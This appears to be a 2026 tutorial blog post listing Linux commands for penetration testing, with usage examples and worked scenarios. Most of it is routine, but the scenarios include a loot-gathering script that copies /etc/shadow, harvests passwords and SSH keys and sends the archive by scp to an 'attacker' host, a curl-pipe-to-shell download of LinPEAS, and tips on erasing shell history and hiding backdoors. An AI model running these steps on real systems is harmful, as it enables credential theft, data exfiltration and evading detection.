50+ Essential Linux Commands for Cybersecurity and Ethical Hacking (2026 Guide)
Mastering Linux commands is fundamental for any cybersecurity professional or ethical hacker. Whether you're performing penetration tests, analyzing systems, or investigating security incidents, the command line is your most powerful tool. This comprehensive guide covers 50+ essential Kali Linux commands every security professional should know, organized by category with practical examples.
Table of Contents
- Why Linux Commands Matter in Cybersecurity
- File Operations Commands
- Text Processing Commands
- System Information Commands
- Network Commands
- Archive and Compression
- Search and Find Commands
- Permission Management
- Process Management
- Essential Commands Comparison Table
- Real-World Pentesting Examples
- Frequently Asked Questions
Why Linux Commands Matter in Cybersecurity {#why-linux-commands-matter}
Linux commands form the backbone of ethical hacking and penetration testing. Over 80% of security tools run on Linux, making command-line proficiency essential for:
- Reconnaissance and Information Gathering: Using network commands to map targets
- Exploitation: Executing payloads and managing remote shells
- Post-Exploitation: Navigating compromised systems and extracting data
- Log Analysis: Processing large log files to identify security incidents
- Automation: Creating scripts to streamline repetitive tasks
Before diving deep into specialized tools like Metasploit or Burp Suite, you must master these fundamental commands. Let's start with the most critical category.
Related: Kali Linux Setup: Essential Post-Installation Steps 2026
File Operations Commands {#file-operations}
File manipulation is your daily bread and butter in cybersecurity. These commands let you navigate systems, read configuration files, and manage data.
Navigation and Listing
ls - List Directory Contents
The most frequently used command for viewing files and directories.
# Basic listing
ls
# Detailed listing with permissions, owner, size, date
ls -la
# Sort by modification time (newest first)
ls -lt
# Human-readable file sizes
ls -lh
# List only directories
ls -d */
Security Use Case: Quickly identify suspicious files, check permissions, or find recently modified configuration files after a breach.
cd - Change Directory
# Go to home directory
cd ~
# Go to previous directory
cd -
# Go up one level
cd ..
# Navigate to absolute path
cd /var/log
pwd - Print Working Directory
Always know where you are in the filesystem.
pwd
# Output: /home/kali/tools
File Manipulation
cp - Copy Files and Directories
# Copy file
cp source.txt destination.txt
# Copy directory recursively
cp -r /source/dir /dest/dir
# Preserve permissions and timestamps
cp -p file.txt backup.txt
# Interactive mode (ask before overwrite)
cp -i file.txt existing.txt
Pentesting Tip: Always backup original configuration files before modifying them during post-exploitation.
mv - Move or Rename Files
# Rename file
mv oldname.txt newname.txt
# Move file to directory
mv file.txt /path/to/directory/
# Move multiple files
mv file1.txt file2.txt /destination/
rm - Remove Files and Directories
# Remove file
rm file.txt
# Remove directory recursively
rm -r directory/
# Force remove without confirmation
rm -rf directory/
# Interactive mode (ask before delete)
rm -i file.txt
⚠️ WARNING: rm -rf is dangerous and irreversible. Never run rm -rf / or rm -rf /* — it will destroy your entire system.
mkdir - Create Directories
# Create single directory
mkdir newdir
# Create nested directories
mkdir -p parent/child/grandchild
# Create with specific permissions
mkdir -m 755 secure_dir
touch - Create Empty Files or Update Timestamps
# Create new empty file
touch newfile.txt
# Update timestamp of existing file
touch existing.txt
# Create multiple files
touch file1.txt file2.txt file3.txt
File Viewing
cat - Concatenate and Display Files
# Display file contents
cat file.txt
# Display multiple files
cat file1.txt file2.txt
# Display with line numbers
cat -n file.txt
# Create new file with content
cat > newfile.txt
# Type content, press Ctrl+D to save
Security Use Case: Quickly view small configuration files, SSH keys, or password files.
less - View Files Page by Page
# View large files interactively
less /var/log/auth.log
# Search within file (press / then type search term)
# Navigate: Space=next page, b=previous page, q=quit
Best for: Large log files where cat would flood your terminal.
head - Display First Lines
# Show first 10 lines (default)
head file.txt
# Show first 20 lines
head -n 20 file.txt
# Show first 100 bytes
head -c 100 file.txt
tail - Display Last Lines
# Show last 10 lines
tail file.txt
# Show last 50 lines
tail -n 50 file.txt
# Follow file in real-time (perfect for logs)
tail -f /var/log/apache2/access.log
# Follow with line numbers
tail -fn 100 /var/log/syslog
Essential for: Monitoring real-time logs during penetration tests or security monitoring.
Text Processing Commands {#text-processing}
Text processing commands are crucial for analyzing logs, parsing output, and extracting specific information from large datasets.
grep - Search Text Patterns
One of the most powerful commands for pentesting.
# Search for pattern in file
grep "error" logfile.txt
# Case-insensitive search
grep -i "password" file.txt
# Recursive search in directory
grep -r "admin" /var/www/
# Show line numbers
grep -n "root" /etc/passwd
# Invert match (show lines NOT containing pattern)
grep -v "#" config.conf
# Count matching lines
grep -c "Failed" /var/log/auth.log
# Show context (3 lines before and after)
grep -C 3 "error" logfile.txt
# Multiple patterns
grep -E "error|warning|critical" logfile.txt
Real-World Example: Finding failed SSH login attempts:
grep "Failed password" /var/log/auth.log | grep -oE "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" | sort | uniq -c | sort -rn
sed - Stream Editor
Powerful text transformation tool.
# Replace first occurrence in each line
sed 's/old/new/' file.txt
# Replace all occurrences (global)
sed 's/old/new/g' file.txt
# Edit file in-place
sed -i 's/old/new/g' file.txt
# Delete lines containing pattern
sed '/pattern/d' file.txt
# Print only matching lines
sed -n '/pattern/p' file.txt
# Delete lines 5-10
sed '5,10d' file.txt
Use Case: Sanitizing sensitive data from reports or modifying configuration files en masse.
awk - Pattern Scanning and Processing
# Print specific column (space-delimited)
awk '{print $1}' file.txt
# Print multiple columns
awk '{print $1, $3}' file.txt
# Custom delimiter
awk -F: '{print $1}' /etc/passwd
# Conditional processing
awk '$3 >= 1000 {print $1}' /etc/passwd
# Sum values in column
awk '{sum+=$1} END {print sum}' numbers.txt
# Print lines longer than 80 characters
awk 'length > 80' file.txt
Example: Extract usernames from /etc/passwd:
awk -F: '{print $1}' /etc/passwd
cut - Extract Sections from Lines
# Extract characters 1-5
cut -c1-5 file.txt
# Extract fields (tab-delimited by default)
cut -f1,3 file.txt
# Custom delimiter
cut -d: -f1 /etc/passwd
# Extract IP addresses from log
cut -d' ' -f1 access.log
sort - Sort Lines
# Sort alphabetically
sort file.txt
# Reverse sort
sort -r file.txt
# Numeric sort
sort -n numbers.txt
# Sort by column
sort -k2 file.txt
# Sort and remove duplicates
sort -u file.txt
uniq - Report or Filter Repeated Lines
Must be used on SORTED input.
# Remove duplicate consecutive lines
sort file.txt | uniq
# Count occurrences
sort file.txt | uniq -c
# Show only duplicates
sort file.txt | uniq -d
# Show only unique lines
sort file.txt | uniq -u
Common Pattern: Find most common IP addresses in access log:
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -10
wc - Word Count
# Count lines, words, characters
wc file.txt
# Count only lines
wc -l file.txt
# Count only words
wc -w file.txt
# Count only characters
wc -c file.txt
Quick Trick: Count number of users on system:
wc -l /etc/passwd
tee - Read from stdin and Write to files and stdout
# Write to file AND display
command | tee output.txt
# Append to file
command | tee -a output.txt
# Write to multiple files
command | tee file1.txt file2.txt
Use Case: Logging command output while still seeing it on screen.
System Information Commands {#system-information}
Enumerating system information is critical during post-exploitation phases.
uname - System Information
# Show kernel name
uname
# All system information
uname -a
# Kernel release
uname -r
# Machine hardware name
uname -m
# Operating system
uname -o
Output Example:
Linux kali 6.1.0-kali7-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.20-1kali1 (2023-03-22) x86_64 GNU/Linux
hostname - Show or Set System Hostname
# Display hostname
hostname
# Display FQDN
hostname -f
# Display IP address
hostname -I
whoami - Current Username
whoami
# Output: kali
Essential for: Checking privilege level after gaining shell access.
id - User and Group Information
# Show user ID and groups
id
# Show only user ID
id -u
# Show only group ID
id -g
# Info for specific user
id root
Output Example:
uid=1000(kali) gid=1000(kali) groups=1000(kali),27(sudo),143(wireshark)
df - Disk Free Space
# Show disk usage all filesystems
df
# Human-readable format
df -h
# Show only specific filesystem type
df -t ext4
# Show inodes
df -i
du - Disk Usage of Files and Directories
# Show size of directory
du -sh /var/log
# Show sizes of all subdirectories
du -h --max-depth=1 /home/
# Sort by size
du -sh * | sort -rh
# Total size only
du -sc /var/log/*
Pentesting Use: Find large files that might contain valuable data or find directories to hide data.
free - Memory Usage
# Display memory usage
free
# Human-readable format
free -h
# Show in MB
free -m
# Continuous monitoring (update every 2 seconds)
free -h -s 2
top - Real-Time Process Monitoring
# Interactive process viewer
top
# Sort by memory usage (press M)
# Sort by CPU usage (press P)
# Kill process (press k, enter PID)
# Quit (press q)
# Batch mode (non-interactive)
top -b -n 1
# Show specific user processes
top -u kali
Better alternative: htop (install with apt install htop)
ps - Process Status
# Show all processes
ps aux
# Show process tree
ps auxf
# Show processes for current user
ps ux
# Show specific process
ps aux | grep apache
# Show process by PID
ps -p 1234
# Custom format
ps -eo pid,user,cmd
Example: Find all processes running as root:
ps aux | grep ^root
Network Commands {#network-commands}
Networking commands are fundamental for reconnaissance and maintaining persistence.
ip - Modern Network Configuration
Replacement for ifconfig.
# Show all interfaces and IP addresses
ip addr show
ip a
# Show specific interface
ip addr show eth0
# Show routing table
ip route show
ip r
# Show ARP table (MAC addresses)
ip neigh show
ip n
# Add IP address to interface
sudo ip addr add 192.168.1.100/24 dev eth0
# Bring interface up/down
sudo ip link set eth0 up
sudo ip link set eth0 down
ifconfig - Network Interface Configuration (Legacy)
# Show all active interfaces
ifconfig
# Show specific interface
ifconfig eth0
# Bring interface up/down
sudo ifconfig eth0 up
sudo ifconfig eth0 down
# Assign IP address
sudo ifconfig eth0 192.168.1.100 netmask 255.255.255.0
Note: While still widely used, ifconfig is deprecated. Modern systems use ip.
ping - Network Connectivity Test
# Ping host (Ctrl+C to stop)
ping google.com
# Ping count (send 4 packets)
ping -c 4 192.168.1.1
# Set interval (ping every 0.2 seconds)
ping -i 0.2 192.168.1.1
# Flood ping (requires root)
sudo ping -f 192.168.1.1
# Set packet size
ping -s 1000 192.168.1.1
Pentesting Use: Verify if target is alive, measure latency, test firewall rules.
netstat - Network Statistics (Legacy)
# Show all listening ports
netstat -tuln
# Show all connections
netstat -tulnp
# Show routing table
netstat -r
# Show network statistics
netstat -s
# Show which process is using port 80
sudo netstat -tulnp | grep :80
ss - Socket Statistics (Modern Alternative)
Faster than netstat.
# Show all TCP connections
ss -t
# Show listening TCP sockets
ss -tl
# Show all listening ports with process
sudo ss -tulnp
# Show established connections
ss -o state established
# Show connections to specific port
ss -tn dst :443
# Show summary statistics
ss -s
Essential for: Finding open ports, identifying backdoors, checking C2 connections.
curl - Transfer Data from URLs
# Basic GET request
curl http://example.com
# Save output to file
curl -o output.html http://example.com
curl -O http://example.com/file.txt # Save with original filename
# Follow redirects
curl -L http://example.com
# Show headers
curl -I http://example.com
# POST request
curl -X POST -d "param=value" http://example.com/api
# Custom header
curl -H "Authorization: Bearer token" http://example.com/api
# Basic authentication
curl -u username:password http://example.com
# Verbose output (debugging)
curl -v http://example.com
# Silent mode (no progress)
curl -s http://example.com
Web Application Testing: Essential for API testing, header manipulation, authentication bypass attempts.
wget - Download Files
# Download file
wget http://example.com/file.zip
# Download with different name
wget -O custom_name.zip http://example.com/file.zip
# Resume interrupted download
wget -c http://example.com/largefile.iso
# Download recursively (entire site)
wget -r http://example.com
# Download in background
wget -b http://example.com/file.zip
# Limit download speed (100KB/s)
wget --limit-rate=100k http://example.com/file.zip
# Download multiple files from list
wget -i urls.txt
ssh - Secure Shell
# Connect to remote host
ssh user@192.168.1.100
# Specify port
ssh -p 2222 user@192.168.1.100
# Use specific private key
ssh -i ~/.ssh/id_rsa user@192.168.1.100
# Execute command on remote system
ssh user@192.168.1.100 "ls -la /var/log"
# Enable verbose mode (debugging)
ssh -v user@192.168.1.100
# Local port forwarding
ssh -L 8080:localhost:80 user@192.168.1.100
# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@192.168.1.100
# Remote port forwarding
ssh -R 8080:localhost:80 user@192.168.1.100
Post-Exploitation: Essential for lateral movement and maintaining access.
scp - Secure Copy
# Copy file to remote host
scp localfile.txt user@192.168.1.100:/remote/path/
# Copy from remote host
scp user@192.168.1.100:/remote/file.txt /local/path/
# Copy directory recursively
scp -r /local/dir user@192.168.1.100:/remote/path/
# Specify port
scp -P 2222 file.txt user@192.168.1.100:/path/
# Use specific key
scp -i ~/.ssh/id_rsa file.txt user@192.168.1.100:/path/
# Preserve file attributes
scp -p file.txt user@192.168.1.100:/path/
Data Exfiltration: Moving files to/from compromised systems.
Archive and Compression {#archive-compression}
Compressing and archiving files is essential for data exfiltration and organizing findings.
tar - Archive Files
# Create archive
tar -cvf archive.tar files/
# Extract archive
tar -xvf archive.tar
# Create compressed archive (gzip)
tar -czvf archive.tar.gz files/
# Extract compressed archive
tar -xzvf archive.tar.gz
# Create compressed archive (bzip2 - better compression)
tar -cjvf archive.tar.bz2 files/
# Extract bzip2 archive
tar -xjvf archive.tar.bz2
# List archive contents without extracting
tar -tvf archive.tar
# Extract to specific directory
tar -xzvf archive.tar.gz -C /destination/path/
# Add files to existing archive
tar -rvf archive.tar newfile.txt
Flags Explained:
c: createx: extractv: verbosef: filez: gzip compressionj: bzip2 compression
gzip / gunzip - Compress/Decompress Files
# Compress file (replaces original)
gzip file.txt
# Creates: file.txt.gz
# Decompress
gunzip file.txt.gz
# Keep original file
gzip -k file.txt
# Compress with maximum compression
gzip -9 file.txt
# Compress and display stats
gzip -v file.txt
# Decompress to stdout (view compressed file)
gunzip -c file.txt.gz | less
zip / unzip - ZIP Archives
# Create zip archive
zip archive.zip file1.txt file2.txt
# Zip directory recursively
zip -r archive.zip directory/
# Extract zip
unzip archive.zip
# Extract to specific directory
unzip archive.zip -d /destination/
# List contents without extracting
unzip -l archive.zip
# Password-protected zip
zip -e -r secure.zip directory/
# Extract password-protected
unzip -P password secure.zip
Pentesting Note: ZIP archives are commonly used for data exfiltration because they're universally supported.
Search and Find Commands {#search-commands}
Locating files and executables quickly is critical during reconnaissance.
find - Search for Files and Directories
Extremely powerful search tool.
# Find by name
find /path -name "filename.txt"
# Case-insensitive search
find /path -iname "filename.txt"
# Find by type (f=file, d=directory)
find /path -type f -name "*.txt"
find /path -type d -name "logs"
# Find by size
find /path -size +100M # Larger than 100MB
find /path -size -1M # Smaller than 1MB
# Find by modification time
find /path -mtime -7 # Modified in last 7 days
find /path -mtime +30 # Modified more than 30 days ago
find /path -mmin -60 # Modified in last 60 minutes
# Find by permissions
find /path -perm 777 # Exact permissions
find /path -perm -u+s # SUID files (security risk!)
find /path -perm -4000 # SUID files (alternative)
# Find by owner
find /path -user root
find /path -group www-data
# Execute command on found files
find /path -name "*.log" -exec rm {} \;
find /path -name "*.sh" -exec chmod +x {} \;
# Find empty files
find /path -empty
# Find and delete
find /path -name "*.tmp" -delete
Critical Security Searches:
# Find SUID binaries (privilege escalation)
find / -perm -4000 -type f 2>/dev/null
# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null
# Find world-writable files
find / -perm -002 -type f 2>/dev/null
# Find readable config files
find /etc -type f -readable 2>/dev/null
# Find SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
locate - Fast File Search
Uses pre-built database (faster than find).
# Search for file
locate filename.txt
# Case-insensitive
locate -i filename.txt
# Count matches
locate -c "*.conf"
# Show only existing files (check if file still exists)
locate -e filename.txt
# Update database (run as root)
sudo updatedb
Note: Database updated daily by cron. New files won't appear until updatedb runs.
which - Locate Command Executable
# Find location of command
which python
# Output: /usr/bin/python
which nmap
# Output: /usr/bin/nmap
# Show all matches
which -a python
Use Case: Verify which version of a tool will be executed when you have multiple versions installed.
whereis - Locate Binary, Source, and Manual Pages
# Find binary, source, and man pages
whereis nmap
# Output: nmap: /usr/bin/nmap /usr/share/man/man1/nmap.1.gz
# Only binary
whereis -b nmap
# Only man pages
whereis -m nmap
Permission Management {#permission-management}
Understanding and manipulating file permissions is crucial for exploitation and persistence.
Understanding Linux Permissions
Linux uses a three-tier permission system:
-rwxr-xr--
│││││││││└─ Others: read
││││││││└── Others: write (not set)
│││││││└─── Others: execute (not set)
││││││└──── Group: read
│││││└───── Group: execute
││││└────── Group: write (not set)
│││└─────── Owner: read
││└──────── Owner: write
│└───────── Owner: execute
└────────── File type (- = file, d = directory, l = link)
Numeric Permissions:
r(read) = 4w(write) = 2x(execute) = 1
Examples:
755= rwxr-xr-x (owner: full, group/others: read+execute)644= rw-r--r-- (owner: read+write, group/others: read only)777= rwxrwxrwx (everyone: full access — DANGEROUS!)
chmod - Change File Permissions
# Numeric mode
chmod 755 script.sh # rwxr-xr-x
chmod 644 file.txt # rw-r--r--
chmod 600 private.key # rw------- (owner only)
# Symbolic mode
chmod u+x script.sh # Add execute for owner
chmod g-w file.txt # Remove write for group
chmod o-r sensitive.txt # Remove read for others
chmod a+r public.txt # Add read for all
# Recursive
chmod -R 755 /var/www/html/
# Set SUID (run as owner)
chmod u+s /usr/bin/program
chmod 4755 /usr/bin/program
# Set SGID (run as group)
chmod g+s /shared/directory
chmod 2755 /shared/directory
# Set sticky bit (only owner can delete)
chmod +t /tmp
chmod 1777 /tmp
Security Implications:
- SUID/SGID binaries can be exploited for privilege escalation
- World-writable files/directories are security risks
- Overly permissive permissions (777) expose sensitive data
chown - Change File Owner
# Change owner
chown user file.txt
# Change owner and group
chown user:group file.txt
# Recursive
chown -R www-data:www-data /var/www/html/
# Change only group (same as chgrp)
chown :group file.txt
# Reference another file's ownership
chown --reference=reference.txt target.txt
Post-Exploitation: After placing backdoors, set appropriate ownership to avoid detection.
chgrp - Change File Group
# Change group
chgrp groupname file.txt
# Recursive
chgrp -R developers /project/
# Verbose output
chgrp -v www-data file.txt
Process Management {#process-management}
Controlling processes is essential for maintaining shells, running exploits, and managing resources.
kill - Terminate Processes
# Terminate process by PID
kill 1234
# Force kill (SIGKILL)
kill -9 1234
kill -KILL 1234
# Graceful termination (SIGTERM - default)
kill -15 1234
kill -TERM 1234
# Send HUP signal (reload config)
kill -HUP 1234
# List all available signals
kill -l
Common Signals:
SIGTERM (15): Graceful termination (default)SIGKILL (9): Force kill (cannot be caught/ignored)SIGHUP (1): Hang up / reload configurationSIGINT (2): Interrupt (Ctrl+C)SIGSTOP (19): Pause processSIGCONT (18): Resume process
killall - Kill Processes by Name
# Kill all processes with name
killall firefox
# Force kill
killall -9 apache2
# Interactive mode (ask before killing)
killall -i processname
# Kill processes by user
killall -u username
# Verbose output
killall -v processname
bg - Background Process
# Send suspended job to background
# 1. Start a process
# 2. Press Ctrl+Z to suspend
# 3. Type 'bg' to continue in background
bg
# Send specific job to background
bg %1
fg - Foreground Process
# Bring background job to foreground
fg
# Bring specific job to foreground
fg %1
jobs - List Background Jobs
# List all jobs
jobs
# Output example:
# [1] Running nmap -sS 192.168.1.0/24 &
# [2]- Stopped vim document.txt
# [3]+ Running python3 server.py &
# List with PIDs
jobs -l
Pentesting Workflow:
# Start long-running scan in background
nmap -p- 192.168.1.0/24 > scan.txt &
# Check job status
jobs
# Continue working on other tasks
# Bring scan to foreground when needed
fg %1
Related: How to Install Kali Linux in VirtualBox: Complete 2026 Guide
Essential Commands Comparison Table {#comparison-table}
Here's a quick reference comparing the most critical commands for penetration testers:
| Category | Command | Primary Use | Complexity | Frequency |
|---|---|---|---|---|
| File Operations | ls -la | List files with details | Low | Daily |
cat | View small files | Low | Daily | |
less | View large files | Low | Daily | |
find | Search filesystem | Medium | Daily | |
cp -r | Copy recursively | Low | Weekly | |
| Text Processing | grep -r | Search in files | Medium | Daily |
awk | Column extraction | Medium | Weekly | |
sed | Text replacement | Medium | Weekly | |
| `sort | uniq -c` | Count occurrences | Low | |
| Network | ip addr | Check network config | Low | Daily |
ss -tulnp | Check open ports | Medium | Daily | |
curl | HTTP requests | Medium | Daily | |
ssh | Remote access | Medium | Daily | |
ping | Test connectivity | Low | Daily | |
| System Info | ps aux | List processes | Low | Daily |
top/htop | Monitor resources | Low | Daily | |
whoami | Check user | Low | Daily | |
uname -a | System info | Low | Weekly | |
| Permissions | chmod | Modify permissions | Medium | Weekly |
chown | Change ownership | Low | Weekly | |
find -perm -4000 | Find SUID files | High | Weekly | |
| Archives | tar -xzvf | Extract archive | Low | Daily |
zip -r | Create archive | Low | Weekly |
Real-World Pentesting Examples {#practical-examples}
Let's see how these commands work together in real penetration testing scenarios.
Example 1: Log Analysis for Failed Login Attempts
Goal: Identify IP addresses with multiple failed SSH login attempts.
# Extract failed password attempts with IP addresses
grep "Failed password" /var/log/auth.log | \
grep -oE "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" | \
sort | \
uniq -c | \
sort -rn | \
head -20
# Output:
# 142 192.168.1.45
# 87 10.0.0.23
# 56 172.16.0.18
Breakdown:
grep "Failed password"- Find failed login linesgrep -oE "[0-9]..."- Extract IP addresses onlysort- Sort IPsuniq -c- Count occurrencessort -rn- Sort by count (descending)head -20- Show top 20
Example 2: Find and Exfiltrate Interesting Files
Goal: Locate and archive sensitive configuration files.
# Find configuration files in /etc
find /etc -type f \( -name "*.conf" -o -name "*.cfg" \) 2>/dev/null > config_list.txt
# Create archive of found files
tar -czf configs_$(date +%Y%m%d).tar.gz -T config_list.txt 2>/dev/null
# Verify archive
tar -tzf configs_*.tar.gz | head -20
# Find SSH keys
find / -name "id_rsa" -o -name "id_dsa" 2>/dev/null
# Find database credentials
grep -r "password" /var/www 2>/dev/null | grep -i "db\|mysql\|postgres"
Example 3: Network Enumeration Script
Goal: Quick local network reconnaissance.
#!/bin/bash
# save as recon.sh
echo "[*] System Information"
uname -a
hostname -I
echo -e "\n[*] Network Interfaces"
ip addr show | grep "inet "
echo -e "\n[*] Listening Ports"
ss -tulnp | grep LISTEN
echo -e "\n[*] Established Connections"
ss -tnp | grep ESTAB
echo -e "\n[*] Current User & Privileges"
id
sudo -l 2>/dev/null
echo -e "\n[*] SUID Binaries"
find / -perm -4000 -type f 2>/dev/null | head -20
echo -e "\n[*] Recent Commands (if accessible)"
tail -n 50 ~/.bash_history 2>/dev/null
Example 4: Process Monitoring for Security
Goal: Monitor for suspicious process creation.
# Create baseline of running processes
ps aux > baseline.txt
# After some time, compare
ps aux > current.txt
diff baseline.txt current.txt | grep "^>"
# Continuous monitoring with alerts
while true; do
ps aux | grep -v "grep" | grep -E "nc|ncat|netcat|/bin/sh|/bin/bash" | \
grep -v "$$" | \
tee -a suspicious_processes.log
sleep 5
done
Example 5: Data Exfiltration Preparation
Goal: Gather evidence and prepare for extraction.
# Create organized directory structure
mkdir -p loot/{configs,logs,credentials,databases}
# Copy system configs
cp /etc/passwd /etc/shadow /etc/hosts loot/configs/ 2>/dev/null
# Copy recent logs
find /var/log -type f -mtime -7 -exec cp {} loot/logs/ \; 2>/dev/null
# Search for credentials
grep -r "password" /home --include="*.txt" --include="*.conf" 2>/dev/null > loot/credentials/passwords.txt
# Find database files
find / -name "*.db" -o -name "*.sqlite" -o -name "*.sql" 2>/dev/null > loot/databases/db_locations.txt
# Compress everything
tar -czf evidence_$(hostname)_$(date +%Y%m%d).tar.gz loot/
# Clean up
rm -rf loot/
# Exfiltrate via SCP
scp evidence_*.tar.gz attacker@10.10.10.10:/data/
Frequently Asked Questions {#faq}
What's the difference between apt and apt-get in Kali Linux?
apt is the newer, more user-friendly interface for package management, while apt-get is the traditional tool. Both work on Kali Linux, but apt provides better formatting, progress bars, and combines functionality from apt-get and apt-cache. For interactive use, prefer apt. For scripts, use apt-get as it has more stable output formatting.
Example:
# Install package (both work)
apt install nmap
apt-get install nmap
# Update package list
apt update
apt-get update
How do I redirect command output and errors in Linux?
Linux uses three standard streams:
stdin (0): Standard inputstdout (1): Standard outputstderr (2): Standard error
Redirection operators:
# Redirect stdout to file (overwrite)
command > output.txt
# Redirect stdout to file (append)
command >> output.txt
# Redirect stderr to file
command 2> errors.txt
# Redirect both stdout and stderr
command > output.txt 2>&1
command &> output.txt # Shorthand
# Discard output (send to /dev/null)
command > /dev/null 2>&1
# Redirect stdout to file, stderr to another
command > output.txt 2> errors.txt
Practical example: Finding SUID files without error clutter:
find / -perm -4000 2>/dev/null
What are pipes and how do I chain commands effectively?
Pipes (|) send the output of one command as input to another, enabling powerful command chains.
Basic Pattern:
command1 | command2 | command3
Powerful Combinations:
# Find top 10 largest files
du -ah /var | sort -rh | head -10
# Find most common words in file
cat file.txt | tr ' ' '\n' | sort | uniq -c | sort -rn | head -20
# Monitor live log with filtering
tail -f /var/log/apache2/access.log | grep "404"
# Extract unique IP addresses from log
cat access.log | awk '{print $1}' | sort -u
# Count specific pattern occurrences
grep -r "error" /var/log | wc -l
Pro Tip: Use tee to save intermediate results while continuing the pipe:
command1 | tee intermediate.txt | command2
How can I make my command history more secure in Kali Linux?
Command history (~/.bash_history) can contain sensitive information like passwords, API keys, or attack commands.
Security Measures:
# 1. Disable history for current session
unset HISTFILE
# 2. Clear current session history
history -c
# 3. Delete history file
rm ~/.bash_history
# 4. Prevent specific commands from being logged
# Add space before command (requires HISTCONTROL setting)
export HISTCONTROL=ignorespace
command_not_in_history # Note the leading space
# 5. Exclude patterns from history (add to ~/.bashrc)
export HISTIGNORE="ls*:cat*:pwd:clear:history"
# 6. Limit history size
export HISTSIZE=500
export HISTFILESIZE=500
# 7. Don't save duplicate commands
export HISTCONTROL=ignoredups
# 8. Add timestamp to history (useful for auditing)
export HISTTIMEFORMAT="%F %T "
# 9. Make history append, not overwrite
shopt -s histappend
For sensitive operations:
# Start subshell without history
bash --norc --noprofile
# Do sensitive work
exit # History not saved
What are the most critical commands for Linux privilege escalation?
During privilege escalation, these commands help enumerate vulnerabilities:
1. Find SUID/SGID Binaries:
# SUID files (run as owner)
find / -perm -4000 -type f 2>/dev/null
# SGID files (run as group)
find / -perm -2000 -type f 2>/dev/null
# Both
find / -perm -6000 -type f 2>/dev/null
2. Check Sudo Privileges:
# What can current user run as sudo?
sudo -l
# Check if no password required
sudo -n -l
3. Find Writable Directories:
# World-writable directories
find / -type d -perm -002 2>/dev/null
# Writable by current user in /etc
find /etc -writable 2>/dev/null
4. Check for Weak Permissions:
# Check /etc/passwd and /etc/shadow
ls -la /etc/passwd /etc/shadow
# Find config files readable by everyone
find /etc -type f -readable 2>/dev/null
# Check cron jobs
ls -la /etc/cron* /var/spool/cron
cat /etc/crontab
5. Check Capabilities (modern alternative to SUID):
# Find files with capabilities
getcap -r / 2>/dev/null
6. Search for Passwords:
# In configuration files
grep -r "password" /etc 2>/dev/null
grep -r "pass" /var/www 2>/dev/null
# In bash history (all users)
find /home -name ".bash_history" -exec cat {} \; 2>/dev/null
# In environment variables
env | grep -i pass
7. Check Kernel Version (for kernel exploits):
uname -a
cat /proc/version
lsb_release -a
Automated Tools:
- LinPEAS: Comprehensive Linux privilege escalation checker
- LinEnum: Linux enumeration script
- Linux-exploit-suggester: Suggests kernel exploits
# Download and run LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
Conclusion
Mastering these 50+ essential Linux commands is non-negotiable for cybersecurity professionals. These commands form the foundation for:
✅ Effective reconnaissance - Gathering system and network information
✅ Efficient exploitation - Navigating and manipulating compromised systems
✅ Log analysis - Identifying security incidents and attack patterns
✅ Data exfiltration - Organizing and extracting valuable information
✅ Privilege escalation - Finding vulnerabilities in system configurations
Next Steps
- Practice Daily: Use these commands in your daily workflow, not just during pentests
- Build Scripts: Combine commands into automated reconnaissance scripts
- Study Man Pages: Run
man commandto learn advanced options - Join CTFs: Practice in Capture The Flag competitions
- Set Up Labs: Create intentionally vulnerable VMs to practice safely
Recommended Practice Resources
- TryHackMe: Linux fundamentals rooms
- HackTheBox: Linux machines for all skill levels
- OverTheWire Bandit: Command-line wargame
- PentesterLab: Hands-on Linux exercises
Remember: Command-line proficiency separates amateur hackers from professionals. The faster you can navigate, search, and process data via command line, the more effective you'll be during time-sensitive engagements.
Keep this guide bookmarked as your go-to reference, and revisit it regularly to refresh your knowledge. Happy hacking!
Author: Syed Abrar (Andrax Pentester)
Updated: January 2026
Target Keyword: kali linux commands
Category: Kali Linux, Linux, Command Line, Penetration Testing
For more tutorials like this, check out our complete Kali Linux tutorial series or explore our penetration testing methodology guide.